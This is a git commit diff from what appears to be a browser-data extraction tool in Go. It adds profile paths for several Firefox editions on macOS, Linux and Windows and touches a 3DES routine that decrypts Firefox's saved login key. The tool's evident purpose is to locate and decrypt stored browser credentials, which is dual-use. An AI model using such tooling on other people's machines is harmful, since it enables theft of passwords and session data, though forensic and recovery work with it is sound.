feat: support all versions of firefox, Close #73

pull/83/head
moond4rk 4 years ago committed by ᴍᴏᴏɴD4ʀᴋ
parent 4139bf56ee
commit 80f4dd4079
  1. 26
      core/browser.go
  2. 42
      core/browser_darwin.go
  3. 40
      core/browser_linux.go
  4. 72
      core/browser_windows.go
  5. 4
      core/decrypt/decrypt.go

@ -12,17 +12,21 @@ import (
) )
const ( const (
chromeName = "Chrome" chromeName = "Chrome"
chromeBetaName = "Chrome Beta" chromeBetaName = "Chrome Beta"
chromiumName = "Chromium" chromiumName = "Chromium"
edgeName = "Microsoft Edge" edgeName = "Microsoft Edge"
firefoxName = "Firefox" firefoxName = "Firefox"
speed360Name = "360speed" firefoxBetaName = "Firefox Beta"
qqBrowserName = "qq" firefoxDevName = "Firefox Dev"
braveName = "Brave" firefoxNightlyName = "Firefox Nightly"
operaName = "Opera" firefoxESRName = "Firefox ESR"
operaGXName = "OperaGX" speed360Name = "360speed"
vivaldiName = "Vivaldi" qqBrowserName = "qq"
braveName = "Brave"
operaName = "Opera"
operaGXName = "OperaGX"
vivaldiName = "Vivaldi"
) )
type Browser interface { type Browser interface {

@ -10,15 +10,19 @@ import (
) )
const ( const (
chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/" fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/"
chromeBetaProfilePath = "/Users/*/Library/Application Support/Google/Chrome Beta/*/" fireFoxBetaProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-beta/"
chromiumProfilePath = "/Users/*/Library/Application Support/Chromium/*/" fireFoxDevProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.dev-edition-default/"
edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/" fireFoxNightlyProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-nightly/"
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default*/" fireFoxESRProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-esr/"
braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/" chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/"
operaProfilePath = "/Users/*/Library/Application Support/com.operasoftware.Opera/" chromeBetaProfilePath = "/Users/*/Library/Application Support/Google/Chrome Beta/*/"
operaGXProfilePath = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/" chromiumProfilePath = "/Users/*/Library/Application Support/Chromium/*/"
vivaldiProfilePath = "/Users/*/Library/Application Support/Vivaldi/*/" edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/"
braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/"
operaProfilePath = "/Users/*/Library/Application Support/com.operasoftware.Opera/"
operaGXProfilePath = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/"
vivaldiProfilePath = "/Users/*/Library/Application Support/Vivaldi/*/"
) )
const ( const (
@ -44,6 +48,26 @@ var (
Name: firefoxName, Name: firefoxName,
New: NewFirefox, New: NewFirefox,
}, },
"firefox-beta": {
ProfilePath: fireFoxBetaProfilePath,
Name: firefoxBetaName,
New: NewFirefox,
},
"firefox-dev": {
ProfilePath: fireFoxDevProfilePath,
Name: firefoxDevName,
New: NewFirefox,
},
"firefox-nightly": {
ProfilePath: fireFoxNightlyProfilePath,
Name: firefoxNightlyName,
New: NewFirefox,
},
"firefox-esr": {
ProfilePath: fireFoxESRProfilePath,
Name: firefoxESRName,
New: NewFirefox,
},
"chrome": { "chrome": {
ProfilePath: chromeProfilePath, ProfilePath: chromeProfilePath,
Name: chromeName, Name: chromeName,

@ -11,14 +11,18 @@ import (
) )
const ( const (
fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default*/" fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release/"
chromeProfilePath = "/home/*/.config/google-chrome/*/" fireFoxBetaProfilePath = "/home/*/.mozilla/firefox/*.default-beta/"
chromiumProfilePath = "/home/*/.config/chromium/*/" fireFoxDevProfilePath = "/home/*/.mozilla/firefox/*.dev-edition-default/"
edgeProfilePath = "/home/*/.config/microsoft-edge*/*/" fireFoxNightlyProfilePath = "/home/*/.mozilla/firefox/*.default-nightly/"
braveProfilePath = "/home/*/.config/BraveSoftware/Brave-Browser/*/" fireFoxESRProfilePath = "/home/*/.mozilla/firefox/*.default-esr/"
chromeBetaProfilePath = "/home/*/.config/google-chrome-beta/*/" chromeProfilePath = "/home/*/.config/google-chrome/*/"
operaProfilePath = "/home/*/.config/opera/" chromiumProfilePath = "/home/*/.config/chromium/*/"
vivaldiProfilePath = "/home/*/.config/vivaldi/*/" edgeProfilePath = "/home/*/.config/microsoft-edge*/*/"
braveProfilePath = "/home/*/.config/BraveSoftware/Brave-Browser/*/"
chromeBetaProfilePath = "/home/*/.config/google-chrome-beta/*/"
operaProfilePath = "/home/*/.config/opera/"
vivaldiProfilePath = "/home/*/.config/vivaldi/*/"
) )
const ( const (
@ -44,6 +48,26 @@ var (
Name: firefoxName, Name: firefoxName,
New: NewFirefox, New: NewFirefox,
}, },
"firefox-beta": {
ProfilePath: fireFoxBetaProfilePath,
Name: firefoxBetaName,
New: NewFirefox,
},
"firefox-dev": {
ProfilePath: fireFoxDevProfilePath,
Name: firefoxDevName,
New: NewFirefox,
},
"firefox-nightly": {
ProfilePath: fireFoxNightlyProfilePath,
Name: firefoxNightlyName,
New: NewFirefox,
},
"firefox-esr": {
ProfilePath: fireFoxESRProfilePath,
Name: firefoxESRName,
New: NewFirefox,
},
"chrome": { "chrome": {
ProfilePath: chromeProfilePath, ProfilePath: chromeProfilePath,
Name: chromeName, Name: chromeName,

@ -13,25 +13,29 @@ import (
) )
const ( const (
chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/" firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release/"
chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State" fireFoxBetaProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-beta/"
chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/" fireFoxDevProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.dev-edition-default/"
chromeBetaKeyPath = "/AppData/Local/Google/Chrome Beta/User Data/Local State" fireFoxNightlyProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-nightly/"
chromiumProfilePath = "/AppData/Local/Chromium/User Data/*/" fireFoxESRProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-esr/"
chromiumKeyPath = "/AppData/Local/Chromium/User Data/Local State" chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/"
edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/" chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State"
edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State" chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/"
braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/" chromeBetaKeyPath = "/AppData/Local/Google/Chrome Beta/User Data/Local State"
braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State" chromiumProfilePath = "/AppData/Local/Chromium/User Data/*/"
speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/" chromiumKeyPath = "/AppData/Local/Chromium/User Data/Local State"
qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/" edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/"
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default*/" edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State"
operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/" braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/"
operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State" braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State"
operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/" speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/"
operaGXKeyPath = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State" qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/"
vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/" operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/"
vivaldiKeyPath = "/AppData/Local/Vivaldi/Local State" operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State"
operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/"
operaGXKeyPath = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State"
vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/"
vivaldiKeyPath = "/AppData/Local/Vivaldi/Local State"
) )
var ( var (
@ -42,6 +46,31 @@ var (
Storage string Storage string
New func(profile, key, name, storage string) (Browser, error) New func(profile, key, name, storage string) (Browser, error)
}{ }{
"firefox": {
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath,
Name: firefoxName,
New: NewFirefox,
},
"firefox-beta": {
ProfilePath: os.Getenv("USERPROFILE") + fireFoxBetaProfilePath,
Name: firefoxBetaName,
New: NewFirefox,
},
"firefox-dev": {
ProfilePath: os.Getenv("USERPROFILE") + fireFoxDevProfilePath,
Name: firefoxDevName,
New: NewFirefox,
},
"firefox-nightly": {
ProfilePath: os.Getenv("USERPROFILE") + fireFoxNightlyProfilePath,
Name: firefoxNightlyName,
New: NewFirefox,
},
"firefox-esr": {
ProfilePath: os.Getenv("USERPROFILE") + fireFoxESRProfilePath,
Name: firefoxESRName,
New: NewFirefox,
},
"chrome": { "chrome": {
ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath, ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath,
KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath, KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath,
@ -76,11 +105,6 @@ var (
Name: qqBrowserName, Name: qqBrowserName,
New: NewChromium, New: NewChromium,
}, },
"firefox": {
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath,
Name: firefoxName,
New: NewFirefox,
},
"brave": { "brave": {
ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath, ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath,
KeyPath: os.Getenv("USERPROFILE") + braveKeyPath, KeyPath: os.Getenv("USERPROFILE") + braveKeyPath,

@ -217,9 +217,9 @@ type LoginPBE struct {
type LoginSequence struct { type LoginSequence struct {
asn1.ObjectIdentifier asn1.ObjectIdentifier
Iv []byte IV []byte
} }
func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
return des3Decrypt(globalSalt, l.Iv, l.Encrypted) return des3Decrypt(globalSalt, l.IV, l.Encrypted)
} }

Loading…
Cancel
Save